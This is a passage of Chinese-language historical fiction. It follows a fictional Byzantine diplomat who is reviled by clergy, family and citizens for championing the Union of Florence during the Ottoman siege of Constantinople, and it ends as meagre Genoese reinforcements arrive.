雾气如裹尸布般缠绕着君士坦丁堡的尖塔与穹顶，这座城市——这座曾经被称为新罗马的永恒之城——此刻蜷缩在博斯普鲁斯海峡的西岸，像一个患了寒热病的老人，在晨雾中瑟瑟发抖又喃喃自语，雾气渗入大理石缝隙，爬上斑驳的城墙，最后涌入圣索菲亚大教堂那举世无双的穹顶之下，在那里凝结成一种更沉重的东西。
尼科弗鲁斯·拉斯卡里斯站在祭坛右侧，身披一件深紫色的执事祭袍，袍子上的金线刺绣在摇曳的烛光中闪烁着光芒。他的双手交叠在胸前，手指冰冷，就像是教堂地下墓穴中的遗骨。
他能感觉到自己心脏的跳动——缓慢、沉重，正如一口被缓缓敲响的丧钟。
祭坛前，一位拉丁神父正摆放圣器，无酵饼——薄如蝉翼、月光般苍白的无酵饼——被小心翼翼地放置在金质圣盘上。这一举动本身并无声响，但在尼科弗鲁斯耳中，它却发出了一声巨响，他看见前排几位拜占庭贵族的脸在烛光下抽搐，一位老妇人用黑色披肩捂住嘴，肩膀开始无法抑制地颤抖。
这是“佛罗伦萨联合”在君士坦丁堡的首次正式弥撒。
东西方教会分裂了四个世纪后，在帝国的最后时刻，在土耳其人的火炮已经能望见金角湾的时刻，终于在这里——在查士丁尼大帝建造的这座“上帝与人相会之所”——举行了一场联合圣礼。
这本该是尼科弗鲁斯一生事业的巅峰，是他三十载外交斡旋、神学辩论、书信往来所追求的最高成就。
他曾在想象中无数次描绘这一场景：圣灵如鸽子降临，照亮所有脸庞，希腊语与拉丁语的祷文两条河流汇入同一片海洋，分裂的基督教世界重新合而为一，而后，西方的舰队将如神兵天降，将帝国从奥斯曼的围困中解救。
现实却截然不同。
寂静，死一般的寂静。
只有拉丁神父单调的拉丁语祷文在巨大的穹顶下回荡，像一颗石子投入深井，发出空洞的回响。
穹顶上，基督潘托克拉托的画像在昏暗中若隐若现，那双悲悯的眼睛似乎正凝视着下方这怪异的一幕。尼科弗鲁斯突然感到一阵眩晕——不是身体上的，而是存在意义上的眩晕，他看见自己的一生像羊皮纸正在他眼前缓缓展开，然后被一只看不见的手撕成两半。
“以圣父、圣子及圣灵之名……”
就在这一瞬间，寂静破碎了。
首先是一声压抑的啜泣，紧接着是愤怒的低语，尼科弗鲁斯看见一位留着浓密胡须的商人转过身，头也不回地走向大门，沉重的木门在推开时发出漫长的呻吟。然后是第二个、第三个；一位东正教司祭——尼科弗鲁斯认出他是圣救主乔拉教堂的老司祭——突然站起来，用洪亮的、颤抖的声音喊道：
“可耻！这是对圣灵的亵渎！”
喊声在教堂里炸开，更多的人站了起来，有人开始诵念东正教的祷文，试图用声音淹没拉丁仪式，一位年轻的修士冲到祭坛前，撕扯自己的衣服：“无酵饼！他们带来了犹太人的饼！”
混乱如瘟疫般扩散，尼科弗鲁斯试图向前一步，想说些什么——解释、安抚、恳求，但他的喉咙被扼住了，他的目光扫过人群，遇见了一双双眼睛：有的充满泪水，有的燃烧着怒火，有的空洞无比。
在这些眼睛里，他看到了某种比仇恨更可怕的东西——彻底而无法逾越的疏离。
在他们眼中，他已经不再是尼科弗鲁斯·拉斯卡里斯，帝国高级外交官、皇帝的心腹、神学家；他成了一个符号，一个背叛的象征，一座搭建在深渊上的桥，而没有人愿意踏上这座桥，因为所有人都确信它必将坍塌。
仪式草草结束，拉丁神父脸色苍白地收拾圣器，在拜占庭士兵的保护下匆匆离开，大教堂里只剩下东正教信徒和弥漫在空气中的耻辱与愤怒，尼科弗鲁斯还站在原地，祭袍突然变得沉重无比，仿佛是用铁缝制的。
一位老修士走近他。
那是圣徒迪奥尼修斯的弟子，曾在修道院里教过尼科弗鲁斯早期教父著作。
老人没有看他，而是凝视着祭坛上残留的蜡烛，用只有两人能听见的声音说：
“你闻到了吗，尼科弗鲁斯？”
“闻到什么，老师？”
“灰烬的味道。”老人说，“不是普通的灰烬，是书籍焚烧时的灰烬，是圣像被砸碎时的灰烬，是灵魂被出卖时的灰烬，这座教堂今天没有被土耳其人玷污，却被我们自己玷污了，而你，我的孩子，你是那个带来火把的人。”
尼科弗鲁斯想反驳，想解释佛罗伦萨联合的必要性，想谈论帝国存亡的危急，想援引圣保罗关于在基督里合而为一的教导。
但他张了张嘴，只吐出三个字：
“为什么？”
老人终于看向他，眼睛里有一种近乎温柔的悲哀：“因为你相信话语可以拯救世界，但世界不是由话语构成的，尼科弗鲁斯，世界是由血液、泥土、火焰和绝对的‘不’构成的。你试图在两个‘不’之间搭建一座‘是’的桥梁，这是一项美丽而致命的工作，就像用蛛丝连接两座正在崩塌的山峰。”
说完，老人画了个十字，转身融入正在散去的人群。
尼科弗鲁斯独自站在空荡的教堂中央，晨光从高高的窗户斜射进来，在烟雾弥漫的空气中切出一道道光柱，光柱中的尘埃缓缓旋转，像无数微小的、无意义的生命在完成它们最后的舞蹈。
他突然想起二十年前在雅典学院读到的亚里士多德的一句话：“悲剧主人公的毁灭，不是由于邪恶，而是由于某种错误（hamartia）。”
他的错误是什么？是理性吗？是对和解的渴望吗？是对一个濒死文明的责任感吗？
穹顶上的基督依然凝视着他。
目光中既无责备，也无安慰，只有静默。
-
离开圣索菲亚时，尼科弗鲁斯选择了侧门，正门聚集着一群沉默的人，他们的目光比语言更锋利，雾气已经散去，但天空依然阴沉，铅灰色的云层低垂，群山也黑沉沉的，整个世界的声音都怪异而令人不安。
他走在梅塞大街上，这条曾经商贾云集的帝国主干道，如今半数店铺已经关闭，开着的那些，货架上也空空如也，几个面色菜黄的孩子蹲在街角，用木棍在尘土中画着十字，当他们看见尼科弗鲁斯时，其中一个较大的孩子——大概七八岁——站了起来。
“看！是那个拉丁走狗！”
其他孩子也跟着站起来，眼睛里闪烁着成人般的仇恨，尼科弗鲁斯停住脚步，想对他们微笑，想说些什么，但还没等他开口，第一块石头已经飞来。
石头不大，是一块普通的鹅卵石，他没有躲，石头击中他的左肩，并不很疼，冲击感却穿透皮肉。
“叛徒！出卖信仰的人！”孩子们喊道。
更多的石头飞来。一块击中了他的额角，温热的血液流下来，模糊了右眼的视线。透过血色的帷幕，他看见那些孩子的脸——被某种绝对信念点燃的脸，他们相信自己是在保卫某种神圣不可侵犯的东西，是在惩罚一个罪人，这种信念给了他们力量，给了他们投掷石头的权利。
尼科弗鲁斯没有擦拭血迹，也没有逃跑。
这些孩子从哪里学会了这些词？“拉丁走狗”、“叛徒”、“出卖信仰的人”。
是从父母那里？从街头巷尾的议论？从修士的布道？也许都是从。
一个老妇人从旁边的一扇门里冲出来，对着孩子们大喊：“停下！你们在干什么？这是尼科弗鲁斯大人！他是皇帝的人！”
孩子们迟疑了一下，但那个最大的孩子喊道：“我爸爸说，皇帝也被他蒙蔽了！我爸爸说，宁愿让土耳其人的新月旗插在城头，也不要拉丁人的法冠玷污圣索菲亚！”
老妇人上前拉走了孩子们，回头向尼科弗鲁斯投来一个复杂的眼神。
尼科弗鲁斯继续向前走，额角的血已经凝固，在脸颊上形成一道暗红色的溪流，街上的行人看见他，有的匆匆避开目光，有的低声议论，有几个甚至朝他吐口水；一位他认识的丝绸商人——曾经多次在宫廷宴会上与他交谈——当着他的面关上了店门，斩钉截铁的判决。
他走到金角湾附近，靠在一段残破的城墙上，从这里可以看见对岸加拉塔的热那亚人聚居区，那些红瓦屋顶在阴沉的天色中显得格外刺眼，更远处，博斯普鲁斯海峡对岸，隐约可见奥斯曼军营的帐篷。
“很美，不是吗？”
一个声音从身后传来。尼科弗鲁斯转身，看见了他的老师——或者说，曾经是他的老师——狂热派修士马卡里奥斯。老人瘦骨嶙峋，穿着一件破旧的黑色修道袍，胡须几乎垂到胸前，眼睛深陷在眼窝里，但眼神却异常明亮，像两簇在黑暗中燃烧的火。
“老师。”
“不要叫我老师。”马卡里奥斯的声音平静，“我的学生在十五年前就死了，死在去意大利的路上，死在那些拉丁诡辩家的迷宫里，站在我面前的这个人，我不认识。”
“我一直是您教导我的那个人。一直相信您教给我的东西：基督的博爱，教会的合一，理性的光辉……”
“理性！”马卡里奥斯突然提高声音，“理性是上帝赐予我们理解祂的工具，不是与魔鬼讨价还价的筹码！你去了佛罗伦萨，你坐在那些红衣主教面前，你用亚里士多德的逻辑和西塞罗的修辞与他们辩论。你赢了辩论，尼科弗鲁斯。你证明了东西方教会在神学上可以调和，在仪式上可以妥协。但你知道你输掉了什么吗？”
老人走近一步，手指戳到尼科弗鲁斯的胸口：
“你输掉了信仰的本质！信仰不是可以调和的意见，不是可以妥协的立场！信仰是绝对的，是排他的，是‘我就是道路、真理、生命’！你建造了精美的桥梁，用最精妙的论证做桥墩，用最优雅的妥协做桥面。但这座桥通向哪里？它不通向上帝，尼科弗鲁斯，它通向虚无。”
尼科弗鲁斯想要反驳。他想说如果没有西方的援助，这座城市将在几个月内陷落。他想说圣索菲亚将被改建成清真寺，十字架将被新月取代，我们的孩子将被迫信仰□□。他想说有时候，为了保存实质，必须在形式上让步。
但他说出口的却是：“那么您宁愿选择毁灭？”
马卡里奥斯的眼睛突然变得柔和：“是的，孩子，我宁愿选择毁灭，我宁愿在圣索菲亚的穹顶下看见新月旗，也不愿看见拉丁法冠，你知道为什么吗？”
尼科弗鲁斯沉默。
“因为前者是敌人的征服，而后者是我们对自己的谋杀。当土耳其人攻破城墙，他们杀死的是我们的身体，但当你把拉丁仪式带进圣索菲亚，你杀死的是我们的灵魂，身体死了，灵魂可以升入天堂，但灵魂死了，我们还有什么？”
一阵海风吹来，带着咸味和远处军营传来的隐约气味——马匹、皮革、烟火和某种更原始的东西：战争的气息。
马卡里奥斯望向对岸的奥斯曼军营，脸上浮现出近乎渴望的表情。
“他们在那里，尼科弗鲁斯，那些野蛮人。他们相信一些简单而强大的东西：安拉是唯一的神，穆罕默德是他的先知，为信仰战死者将直入天堂，他们的信仰不够精妙，不够复杂，没有我们那些无尽的争论，但正因如此，它强大。”
他转回头，看着尼科弗鲁斯：
“而你带来了什么？一篇关于教会联合的神学论文，一份精心措辞的妥协协议，一座建立在无数但是、然而、另一方面之上的桥梁，在弯刀面前，桥梁有什么用？当洪水来临时，人们要么冲向桥这边，要么冲向桥那边。没有人会留在桥上思考桥的优美结构。”
“——桥，注定要被冲垮。”
说完这些，马卡里奥斯画了个十字，不是通常的三指十字，也不是两指十字，而是一个用整个手掌画出的、覆盖整个脸部和胸部的巨大十字，像一个拥抱，也像一个诀别。然后他转身离去，黑袍在风中鼓动。
一只巨大的、不祥的鸟。
尼科弗鲁斯独自留在城墙边，天色渐暗，对岸的奥斯曼军营开始点燃篝火，点点火光在暮色中闪烁，像无数只注视着的眼睛。
-
皇宫的觐见室比尼科弗鲁斯记忆中的更加空旷，曾经挂满墙壁的丝绸挂毯大多已被取下，可能是为了变卖，也可能是为了防止火灾，巨大的大理石柱在摇曳的烛光中投下长长的阴影，房间尽头，君士坦丁十一世，德拉加塞斯皇帝坐在一张简朴的木椅上，面前的长桌上铺着一张君士坦丁堡城防图。
皇帝抬起头时，尼科弗鲁斯注意到他眼中的血丝和眼下的深色阴影，这位最后的拜占庭皇帝登基不过四年，但看起来像是老了二十岁，他的手指放在地图上，按在圣罗马努斯门的位置——城墙最薄弱的一段，也是奥斯曼人主攻的方向。
“尼科弗鲁斯。”皇帝的声音沙哑，“过来。”
尼科弗鲁斯走近，皇帝没有让他行礼，而是直接抓住他的手臂。
“今天的事我听说了。”皇帝说。
“陛下，我……”
“不要道歉，”皇帝打断他，“道歉没有意义，告诉我，你现在怎么想？”
尼科弗鲁斯沉默了片刻，烛火在墙壁上跳跃，将两人的影子投射成巨大而扭曲的形状，像两个正在搏斗的巨人。
“我觉得自己像一块磨石，”他最终说，“被放在两股相反的力量之间研磨。一边是拯救帝国，另一边是保全信仰的纯洁，我被磨得越来越薄，越来越烫，但两边的力量都不满意。”
皇帝放开他的手臂，站起身，窗外是黑暗的城市，零星几点灯火在夜色中挣扎。
“你知道我最羡慕历史上的哪位皇帝吗？”
“查士丁尼大帝？”
“不，”皇帝摇头，“是赫拉克利乌斯，因为他面临的选择足够简单，波斯人来了，打败他们；阿拉伯人来了，抵抗他们。生或死，胜或败，信仰的敌人是明确的异教徒，不是戴着十字架的兄弟。”
他转过身，烛光在他的半边脸上跳动：
“但我们呢？我们的敌人是谁？是海峡对岸的穆罕默德二世吗？是的，但不仅仅是。我们的敌人还有热那亚人和威尼斯人，他们嘴上说着援助，心里盘算着利润，我们的敌人还有塞尔维亚人、保加利亚人、瓦拉几亚人，他们曾经是我们的臣民，现在要么臣服于土耳其人，要么在等待我们倒下好分一杯羹，我们的敌人甚至包括罗马教皇，他给我们援助的条件是要我们跪下亲吻他的戒指，要我们承认几百年来我们都错了。”
皇帝走回桌边，手指再次按在地图上：
“而在这一切之上，我们的敌人还有我们自己，那些宁愿城市毁灭也不愿妥协的狂热信徒；那些已经秘密与土耳其人谈判的贵族；那些囤积粮食等着卖天价的商人；还有那些像马卡里奥斯一样的人——虔诚、无畏、绝对纯洁，也因此致命。”
他直视尼科弗鲁斯：
“而你，我的朋友，你是我试图在所有这些矛盾之间找到的平衡点，佛罗伦萨联合是一剂苦药，我知道，但这是唯一可能带来西方援助的药方，我需要你成为那个吞下苦药并说服别人也吞下的人。”
“陛下，人们不接受这剂药。他们宁愿死也不愿吞下。”
“那就让他们死！”
尼科弗鲁斯看着皇帝突然爆发，拳头砸在地图上，震得烛火疯狂摇曳。
“但不是现在！不是在城墙还没被攻破之前！不是在内斗中！如果我们必须死，那就死在城墙上，死在抵抗异教徒的战斗中，而不是死在自己人的石头和诅咒下！”
爆发过后是更深的寂静。皇帝深吸一口气，声音再次变得平静：
“听着，尼科弗鲁斯，历史不会记住过程，只会记住结果，如果因为佛罗伦萨联合，西方派来了舰队，我们守住了城市，那么一百年后，人们会说你是一个英雄，一个拯救了基督的天才，他们会忘记今天的石头，忘记马卡里奥斯的诅咒，甚至可能忘记联合本身，他们会为你竖立雕像。”
“但如果城市陷落——无论有没有联合——那么你将永远是叛徒、走狗、出卖信仰的人，你的名字将和犹大同列，你的著作将被焚毁，你的家族将被诅咒，这就是历史的残酷逻辑。”
胜利者书写一切，失败者失去一切。
尼科弗鲁斯闭上眼睛。他看见自己在修道院的图书馆里，阳光透过彩色玻璃窗，在古老的羊皮纸上投下斑驳的光影。他相信真理是光，一旦被发现，就会照亮一切黑暗；他相信理性的话语可以穿透最厚的偏见的墙；他相信善良的意图最终会得到理解。
多么天真。
“您是在利用我。”
“是的。”皇帝毫不回避，“我是在利用你。但不仅仅是你，尼科弗鲁斯，我在利用这座城市里每一个还能呼吸的人，我在利用那些狂热信徒的虔诚，告诉他们是在为信仰而死；我在利用那些商人的贪婪，承诺城守住了他们的财富会翻倍；我在利用威尼斯人和热那亚人的恐惧，告诉他们如果君士坦丁堡陷落，下一个就是他们的殖民地；我在利用教皇的野心，给他一个重新统一基督的幻梦。”
皇帝走近，将手放在尼科弗鲁斯的肩上。
“而你，你是最特殊的一个，我在利用你的理性，你的善意，你对和解的信念，你对帝国的爱……我把所有这些高尚的品质放在铁砧上，用锤子敲打它们，让它们变成一件武器——一件可能拯救这座城市的武器。我知道这很残忍，我知道这会毁了你，但这是皇帝的责任，也是你的。”
尼科弗鲁斯看着皇帝的眼睛。
君士坦丁十一世完全知道自己要求的是什么，完全知道自己在做什么。
他不是狂热的信徒，不是无情的暴君，他甚至不是一个特别有野心的统治者。
他只是一个被历史推到悬崖边上的人，试图用手中一切可用的材料——包括别人的生命和灵魂——在悬崖上搭建一道栏杆。
“如果这就是我的命运，”尼科弗鲁斯最终说，“那么我接受。但请告诉我，陛下，您真的相信这会有用吗？您真的相信西方会派来足够的援助吗？”
皇帝移开目光：
“我相信我们必须尝试一切可能，即使那可能只是徒劳。”
-
尼科弗鲁斯的家位于皇宫附近的贵族区，是一栋三层的大理石建筑，曾经有着精美的马赛克地面和挂满祖先肖像的长廊，但现在，大部分房间已经空置，值钱的物品要么变卖换成了粮食，要么藏进了地窖，只有底层的大厅还保留着一些旧日的痕迹：一张巨大的柏木餐桌，几把雕花椅子，墙上挂着一幅褪色的圣像——圣乔治屠龙的场景，是尼科弗鲁斯曾曾祖父在曼齐刻尔特战役前请人绘制的。
晚餐时间，但餐桌上几乎空无一物：几条腌鱼，一些橄榄，几块黑面包，还有一壶兑了水的酸葡萄酒。尼科弗鲁斯的妻子安娜沉默地坐在长桌一端，她的脸庞在摇曳的油灯光中显得格外苍白消瘦。她曾经是宫廷里著名的美人，有着深色的眼睛和橄榄色的皮肤，但现在，那双眼睛里只剩下疲惫和某种更深的东西——缓慢燃烧的谴责。
桌子的另一端坐着安娜的弟弟莱昂尼达斯，一位三十岁的帝国军官，负责守卫查瑞休斯门附近的城墙。他穿着半旧的军装，腰间挂着长剑，即使坐在餐桌旁，身体也保持着一种紧张的随时准备跃起的姿态。他的胡须修剪得很短，眼睛里有一种军人特有的锐利，此刻这锐利正牢牢锁定在尼科弗鲁斯身上。
沉默持续着，只有刀叉偶尔碰触盘子的声音。屋外传来远处城墙上的守夜号角，低沉而悠长。
最终是莱昂尼达斯打破了沉默。他没有抬头，盯着自己手中的面包：
“今天第三分队拒绝换防。”
尼科弗鲁斯停下手中的动作：“为什么？”
“为什么？”莱昂尼达斯终于抬起头，“因为你，姐夫，因为你的佛罗伦萨联合。士兵们说：‘我们为上帝和皇帝而战，不为那个出卖上帝的伪君子效命。’他们说，只要你还被皇帝信任，他们就不会全心全意战斗，他们说，一个出卖信仰的城市不值得用生命保卫。”
安娜的手微微颤抖，橄榄掉在桌上，滚落到地上，她没有去捡。
“这是叛乱，皇帝可以……”
“皇帝可以怎样？”莱昂尼达斯打断他，“处死他们？现在城墙上每个能拿剑的人都是宝贵的。处死他们，谁来守城？而且，姐夫，问题不在于士兵，而在于你。你成了这座城市的裂痕。你越是想弥合东西方的裂痕，就越是加深我们自己内部的裂痕。”
“我只是在做必要的事。”尼科弗鲁斯说，“如果没有西方的援助，城墙守不住三个月，穆罕默德有世界上最大的火炮，有十万大军，而我们只有七千守军，其中两千还是外国雇佣兵，数学是残酷的，莱昂尼达斯，二加二等于四，无论我们祈祷得多虔诚。”
“数学！”莱昂尼达斯猛地站起，椅子在地板上刮出刺耳的声音，“你总是谈数学，谈逻辑，谈必要性！但战争不是数学，姐夫！战争是意志，是信仰，是士兵愿意为身后之物付出生命的决心！而你，你在削弱这种决心！你在告诉人们：我们的信仰不纯，我们的传统有误，我们必须向拉丁人低头才能生存！你在剥夺他们战斗的理由！”
他绕着桌子走动：
“你知道吗？我手下的士兵中，最勇敢的不是那些经验丰富的老兵，而是一个十八岁的男孩，来自郊区的农家。他父亲和哥哥都被土耳其人杀了，他带着一把生锈的镰刀加入守军。我给他换了剑和盔甲。每天晚上，他都会跪在城墙边祈祷，为殉道的机会。他说：‘我想和我的父兄在天堂相聚，我想死在十字架下，而不是新月旗下。’这样的士兵，我有几十个。他们不怕死，他们渴望殉道。但他们不会为一个背叛了十字架的城市殉道！”
尼科弗鲁斯也站了起来。
两人隔着餐桌对视，像两个决斗前的剑客。
“所以你认为我应该怎么做？告诉皇帝我错了？废除佛罗伦萨联合？然后呢？眼睁睁看着西方船只掉头离去？看着城市在孤立无援中陷落？看着圣索菲亚变成清真寺？看着我们的孩子被带进土耳其军营？”
莱昂尼达斯的手按在剑柄上，这个动作本身没有威胁，但其中蕴含的意味让空气骤然紧张。
“我宁愿那样。”他一字一句地说，“我宁愿在圣索菲亚的穹顶下战死，也不愿看见它在拉丁仪式中苟活。我宁愿我的尸体被土耳其战马践踏，也不愿我的灵魂被妥协玷污。因为前者是战士的结局，后者是奴隶的开始。”
安娜终于开口了：“莱昂……”
“不，姐姐。”莱昂尼达斯转向她，眼神中的火焰稍稍减弱，“我必须说，因为这不只是政治，这是家族荣誉，拉斯卡里斯家族和科穆宁家族有三百年的历史。我们的祖先在曼齐刻尔特战斗过，在米里奥凯法隆战斗过，在无数场保卫帝国的战斗中流尽鲜血。他们从未妥协，从未屈服，从未在信仰问题上后退一寸。”
他转回尼科弗鲁斯：
“而现在，你——娶了我姐姐的人，成为了我们家族一部分的人——正在做我们的祖先宁愿死也不会做的事。你正在把我们家族的名字和耻辱联系在一起。我的士兵们不仅骂你，他们也骂我：‘看啊，莱昂尼达斯长官，他的姐夫是拉丁走狗，他自己也好不到哪去。’”
莱昂尼达斯拔出剑，将剑平放在餐桌上，剑尖指向尼科弗鲁斯，剑柄朝向自己。
古老的罗马仪式动作，表示严肃的誓言。
“我以家族荣誉和我的剑起誓，”他的声音低沉，“如果城市因为内部纷争而陷落——如果士兵因为对你的仇恨而不全力战斗——那么城破之日，我杀的第一个叛徒就是你，不是出于仇恨，姐夫，出于责任，出于清洗家族和军队耻辱的责任。”
死寂笼罩了房间，油灯的火焰突然跳动了一下，影子在墙壁上狂舞。
尼科弗鲁斯看着桌上的剑，看着剑身上映出的扭曲的自己的脸。他想起了柏拉图的《理想国》。
有时，最大的悲剧不是善与恶的冲突，而是善与善的冲突。
安娜的善呢？她想要什么？也许是丈夫和弟弟都不死，也许是家庭不破裂，也许是这场噩梦早点结束——无论以什么方式。
“我理解你的立场，莱昂尼达斯。”尼科弗鲁斯最终说，“但我有自己的责任。”
“那么我们对彼此的责任到此为止。”莱昂尼达斯收回剑，插入剑鞘，“从今天起，在公共场合，我们是陌生人。在私下，我们是即将拔剑相向的敌人。姐姐……”
他看向安娜：“你必须选择。丈夫，或者弟弟。信仰，或者妥协。没有中间道路。”
说完，他转身离去，军靴敲击大理石地面的声音在空荡的大厅里回荡，渐行渐远，最终被屋外的风声吞没。
尼科弗鲁斯看向安娜，她仍然坐着，双手紧紧交握放在膝上，指节发白，油灯的光在她的脸上摇曳，忽明忽暗，就好像她正在两种未来之间摇摆不定的灵魂。
“安娜……”他开口，却不知该说什么。
她抬起头，眼睛里没有泪水：
“你知道吗，尼科弗鲁斯？我怀孕了。两个月。”
尼科弗鲁斯僵住了。
“我一直在想，”安娜继续说，声音平静，“这个孩子会出生在什么样的世界？会是一个重新团结的基督教世界的一部分吗？会是一个被土耳其人统治的异教世界的一部分？还是会根本来不及出生，就和我一起死在围城中？”
“我曾经相信你的理性，相信你的智慧，相信你能够找到一条出路，一条既保全帝国又保全信仰的道路，但现在我看着我的弟弟要杀我的丈夫，我看着我的同胞向我的丈夫扔石头，我看着我的教会诅咒我的丈夫的灵魂……我开始怀疑，理性本身是不是一种疯狂？在所有人都发疯的世界里保持清醒，是不是最危险的一种疯狂？”
尼科弗鲁斯走向她，想触碰她的肩膀，但在最后一刻停住了。他们之间出现了一道无形的墙，由石头的呼啸、士兵的拒绝、修士的诅咒、皇帝的利用、弟弟的剑构筑起的墙。
“我不知道，”他最终承认，这是他多年来的第一次彻底坦白，“我不知道我在做什么是否正确。我只知道我必须做点什么，就像落水的人必须挣扎，即使挣扎可能让他下沉得更快。”
安娜转过身，看着他。
在她的眼睛里，他终于看到了泪水，但它们没有流下，只是在眼眶中聚集。
“那么挣扎吧，尼科弗鲁斯。”她轻声说，“但请记住：当你挣扎时，你也在拉着所有人下沉——我，未出生的孩子，莱昂尼达斯，这座城市。”
她走向门口，在门槛处停顿，没有回头：
“晚餐结束了，我不知道是否还会有下一餐。”
她离开了，留下尼科弗鲁斯独自站在空荡的大厅里。墙上的圣乔治依然在屠龙，但那场景现在看来充满了讽刺。圣乔治知道他要杀的是什么，他的敌人是明确的、邪恶的龙。而尼科弗鲁斯的敌人是什么？是土耳其人？是拉丁人？是狂热信徒？是皇帝的实用主义？还是他自己那无法摆脱的、想要调和一切的理性？
他走到餐桌旁，看着剩下的食物。腌鱼的眼睛空洞地睁着，橄榄像缩小的骷髅头，面包像干燥的泥土。他意识到自己一生都在建造一座桥梁，但也许桥梁本身就是一个错误。也许在历史的某些时刻，需要的不是桥梁，而是选择一边，然后全心全意地战斗或死亡。
屋外，守夜的号角再次响起。
-
1453年4月，围城进入了最残酷的阶段。穆罕默德二世将他巨大的乌尔班火炮——一门需要六十头牛和两百人才能移动的怪物——拖到了城墙前，开始对圣罗马努斯门附近的城墙进行持续轰击。
尼科弗鲁斯站在皇宫的塔楼上，用皇帝的望远镜观察城墙的损伤。每一次炮击，都会在厚重的狄奥多西城墙上留下一个缺口，守军连夜用木栅和土袋修补，但第二天炮击又会开始，缺口变得更大。
他看见守军在城墙上奔跑，像蚁丘被捣毁时的蚂蚁；他看见奥斯曼的士兵在护城河对岸集结，像潮水在岸边聚集等待决堤的瞬间；他看见热那亚的雇佣兵指挥官乔瓦尼·朱斯蒂尼亚尼——皇帝用巨额报酬请来的援军——在城墙上指挥防御，红色的披风在硝烟中格外醒目。
但最令他心悸的不是这些，而是城墙上的裂缝。他多次看到士兵之间的争执，有时甚至到了推搡的地步。他看见东正教司祭在城墙上祈祷，但只有部分士兵加入，其他人——尤其是外国雇佣兵——冷漠地站在一旁。他看见补给队运送物资时，本地居民和意大利援军之间的紧张对视。
这座城市正在变成一只巨大的龟壳，而龟壳内部已经开始腐烂。
望远镜的镜片突然模糊了。尼科弗鲁斯放下它，是自己的眼泪。自己正在眼睁睁看着自己一生的事业——不仅是佛罗伦萨联合，而是整个拜占庭文明——像沙堡在潮水中瓦解的无助感。
“大人！”
一个信使气喘吁吁地跑上塔楼，手里拿着一卷羊皮纸。
“热那亚的船队！他们突破了封锁！进入了金角湾！”
西方的援助？终于来了？他抓过羊皮纸，快速浏览。是皇帝的信，简洁而急切：“热那亚船队三艘，载援军七百人，已入港。速来港口。”
七百人。
不是七千，不是七万，是七百。
尼科弗鲁斯重新举起望远镜，转向金角湾的方向。
确实，有三艘中等大小的帆船正在驶入港口，船上悬挂着热那亚的旗帜和教皇的旗帜。
船很小，小得可怜，在广阔的海湾中像三个漂浮的玩具。
七百人。
佛罗伦萨联合——出卖信仰、分裂城市、摧毁家庭——换来的，是七百人。
他放下望远镜，开始大笑。笑声越来越响亮，最终变成了近乎歇斯底里的嚎叫。
七百人。
一个数字。
一个残酷的、荒诞的、毫无意义的数字。
他想起自己在佛罗伦萨会议上的那些日日夜夜，那些精妙的神学论证，那些优雅的修辞，那些关于“基督身体的合一”的慷慨陈词。所有那些智慧、学识、善意，所有那些牺牲——安娜的疏远、莱昂尼达斯的仇恨、马卡里奥斯的诅咒、同胞的石头——所有这一切，换来了七百个雇佣兵。
笑声停止了。
一个人做了漫长的噩梦，终于在最恐怖的时刻醒来，发现现实比噩梦更可怕。
他走下塔楼，穿过空荡的宫殿长廊。大理石柱上的雕刻曾经描绘着帝国的辉煌历史：查士丁尼建造圣索菲亚，巴西尔二世征服保加利亚，科穆宁王朝的复兴。但现在这些雕刻在昏暗的光线中显得模糊不清，像记忆本身一样正在褪色。
港口挤满了人，沉默的、观望的人群。
三艘船已经靠岸，舷梯放下，士兵们开始下船。
尼科弗鲁斯挤到前面，看见这些援军：他们大多年轻，有些人脸上还带着稚气，装备参差不齐，有些人甚至没有完整的盔甲。他们的眼神是雇佣兵的冷漠和谨慎。
他们在打量这座城市，评估风险，计算报酬。
皇帝亲自在港口迎接，脸上努力维持着庄严和感激的表情，但尼科弗鲁斯看到了他眼中的失望——那种深深埋藏但无法完全隐藏的失望。
船队的指挥官是一位名叫弗朗切斯科的热那亚贵族，他走向皇帝，单膝跪下，呈上一封信：“教皇陛下和热那亚共和国的问候。我们带来了七百名勇敢的战士，还有承诺的祝福。”
皇帝接过信，没有立即打开：“只有这些？没有更多的船只？没有舰队？”
弗朗切斯科站起来，表情尴尬：“教皇陛下在尽力组织更大的远征，但各国君主……有自己的考虑。威尼斯人在争论，阿拉贡人在观望，法兰西人在处理自己的事务。这些士兵是第一批，也是目前能派遣的全部。”
“全部。”皇帝重复这个词。
尼科弗鲁斯走上前。弗朗切斯科认出了他——他们在佛罗伦萨见过面——表情变得更加复杂：“拉斯卡里斯大人。您的辩论给我留下了深刻印象。关于圣灵发出的双重性质……”
“不要。”尼科弗鲁斯打断他，“不要谈神学。告诉我实话。西方真的会派来更多援助吗？还是这七百人就是我们能得到的一切？”
弗朗切斯科避开他的目光，看向周围破败的港口建筑，看向远处被炮火硝烟笼罩的城墙，看向沉默而怀疑的人群。最终，他叹了口气，声音低到只有皇帝和尼科弗鲁斯能听见：
“大人，您是一位学者，一位智者，您知道答案。西方不会来了，各国忙于自己的战争和算计，教会忙于内部的腐败和争论，君士坦丁堡对他们是遥远的故事，拜占庭帝国是过去的幽灵，这七百人——其中一半还是我用自己的财产雇佣的——这就是结局，象征性的姿态，为了在历史上可以说‘我们尝试过’。”
尼科弗鲁斯闭上眼睛。
他早就知道，不是吗？
在内心深处，他早就知道。
但他的理性，他那该死的、无法关闭的理性，强迫他相信可能性，强迫他计算概率，强迫他在绝望中寻找希望。
而现在，希望亲自到来，穿着寒酸的外衣，带着七百个迷茫的士兵，告诉他：你错了。你所有的计算都错了。你所有的努力都白费了。
皇帝抓住他的手臂，皇帝的声音异常平静，平静得可怕：
“尼科弗鲁斯，我们需要谈谈。现在。”
他们回到皇宫，进入皇帝的书房，房间里的书籍大部分已经装箱，准备在城破时销毁或隐藏，只有几卷地图和军事论文还摊在桌上。
“你知道这意味着什么。”
“意味着佛罗伦萨联合是一个错误。”尼科弗鲁斯说，“意味着我们出卖信仰换来的是一把沙子。”
“不仅仅如此。”皇帝走近，“这意味着你——佛罗伦萨联合的象征，东西方和解的倡导者——已经从一个可能的救星，变成了一个确定的负担。城市内部的分裂，士兵士气的低落，民众的仇恨……所有这些代价，我们付出了，但我们没有得到相应的回报。”
“所以？”
“所以你必须离开。”皇帝说，“作为使者，前往奥斯曼军营，进行最后一次和谈。”
“和谈？在现在？在炮火已经开始轰击城墙的时候？穆罕默德二世不会和谈。他要的是征服，是，是圣索菲亚变成清真寺。”
